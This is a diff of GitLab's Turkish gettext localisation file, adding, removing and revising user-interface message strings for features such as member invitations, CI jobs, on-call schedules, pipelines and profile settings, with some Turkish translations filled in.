@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr "Geçersiz iki adımlı doğrulama kodu."
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr "Grup davet et"
msgid "Invite member"
msgstr "Ãœye davet et"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Sorun Panoları"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Pano"
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr "Ä°ÅŸler"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Gözat"
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15333,7 +15730,7 @@ msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes kümesi başarıyla güncellendi."
msgid "Kubernetes deployment not found"
-msgstr ""
+msgstr "Kubernetes dağıtımı bulunamadı"
msgid "Kubernetes error: %{error_code}"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr "Soyadı"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Son cevap:"
@@ -15583,6 +15977,9 @@ msgstr "Kubernetes hakkında daha fazla bilgi edinin"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15605,14 +16002,11 @@ msgid "Learn more about deploying to AWS"
msgstr ""
msgid "Learn more about deploying to a cluster"
-msgstr ""
+msgstr "Bir kümeyi dağıtma hakkında daha fazla bilgi edinin"
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "Gruptan ayrıl"
msgid "Leave project"
msgstr "Projeden ayrıl"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "\"Dosya türü\" ve \"Teslim yöntemi\" seçeneklerini varsayılan değerlerinde bırakın."
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "Lisans"
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr "Paketler"
-
msgid "LicenseCompliance|Remove license"
msgstr "Lisansı kaldır"
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "En fazla %d olay gösterimiyle sınırlı"
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "Birleştirme işlemi mesajı"
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "İş hattı başarılı olduğunda birleştir"
@@ -17109,7 +17512,7 @@ msgid "Metrics|There was an error getting dashboard validation warnings informat
msgstr ""
msgid "Metrics|There was an error getting deployment information."
-msgstr ""
+msgstr "Dağıtım bilgisi alınırken bir hata oluştu."
msgid "Metrics|There was an error getting environments information."
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr "Minimum şifre uzunluğu (karakter sayısı)"
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr "Seçimi aşağı taşı"
msgid "Move selection up"
msgstr "Seçimi yukarı taşı"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Çıkış yapın ve farklı bir hesapla oturum açın"
msgid "Need help?"
msgstr "Yardım ister misiniz?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr "Yeni"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18176,7 +18588,7 @@ msgid "No data to display"
msgstr ""
msgid "No deployments found"
-msgstr ""
+msgstr "Dağıtım bulunamadı"
msgid "No due date"
msgstr "BitiÅŸ tarihi yok"
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Mevcut deÄŸil"
@@ -18400,6 +18812,9 @@ msgstr "Yeterli veri yok"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr "Sadece geçmişi göster"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Başarısız iş hattı"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "BirleÅŸtirme isteÄŸi birleÅŸtir"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Yeni epik"
@@ -18505,6 +18932,9 @@ msgstr "Yeni not"
msgid "NotificationEvent|New release"
msgstr "Yeni sürüm"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Yeniden atama sorunu"
@@ -18514,6 +18944,9 @@ msgstr "BirleÅŸtirme isteÄŸini yeniden ata"
msgid "NotificationEvent|Reopen issue"
msgstr "Yeniden açma sorunu"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Başarılı iş hattı"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr "Ham olarak aç"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Kenar çubuğunu aç"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "Seçenekler"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "İş Hattı Zamanlamaları"
msgid "Pipeline minutes quota"
msgstr "İş hattı dakika kotası"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr "İş Hatları Yükleniyor"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr "Lütfen yeni hesabınız için bir şifre oluşturun."
@@ -20064,18 +20539,12 @@ msgstr "Bir projenin genel bakış sayfasında hangi içeriği görmek istediği
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr "Üçüncü taraf hizmetleriyle entegrasyonları özelleştirin."
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Uygulama başlığının ve gezinme kenar çubuğunun görünümünü özelleştirin."
msgid "Preferences|Display time in 24-hour format"
msgstr "Saati 24 saatlik biçimde görüntüle"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr "Kod görünümlerinde tümleşik kod zekasını etkinleştir"
-
msgid "Preferences|For example: 30 mins ago."
msgstr "Örneğin: 30 dakika önce."
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr "Entegrasyonlar"
-
msgid "Preferences|Layout width"
msgstr "Düzen genişliği"
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "Sözdizimi vurgulama teması"
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Profil"
msgid "Profile Settings"
msgstr "Profil Ayarları"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "-"
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "Profil resmi kaldırılacak. Emin misiniz?"
msgid "Profiles|Bio"
msgstr "Hakkında"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Kullanıcı adını değiştir"
@@ -20691,9 +21181,6 @@ msgstr "Proje profil resmi"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr "Proje belgeleme sayfaları"
msgid "ProjectSettings|Pipelines"
msgstr "İş hatları"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr "Depo"
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Sorunu bir epiğe yükselt"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Grup etiketini tanıtın"
@@ -21706,7 +22208,7 @@ msgid "ProtectedEnvironment|%{environment_name} will be writable for developers.
msgstr "%{environment_name} geliştiriciler için yazılabilir olacak. Emin misiniz?"
msgid "ProtectedEnvironment|Allowed to deploy"
-msgstr ""
+msgstr "Dağıtıma izin verildi"
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr "Yollama etkinlikleri"
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22083,7 +22588,7 @@ msgid "Rejected (closed)"
msgstr ""
msgid "Related Deployed Jobs"
-msgstr "İlgili Yayınlanmış İşler"
+msgstr "İlgili Dağıtılmış İşler"
msgid "Related Issues"
msgstr "Ä°lgili Sorunlar"
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Sürümler"
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr "Beni hatırla"
-
msgid "Remind later"
msgstr "Daha sonra hatırlat"
@@ -22384,9 +22889,6 @@ msgstr "Bitiş tarihini kaldırır."
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Epiği yeniden aç"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Depo"
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
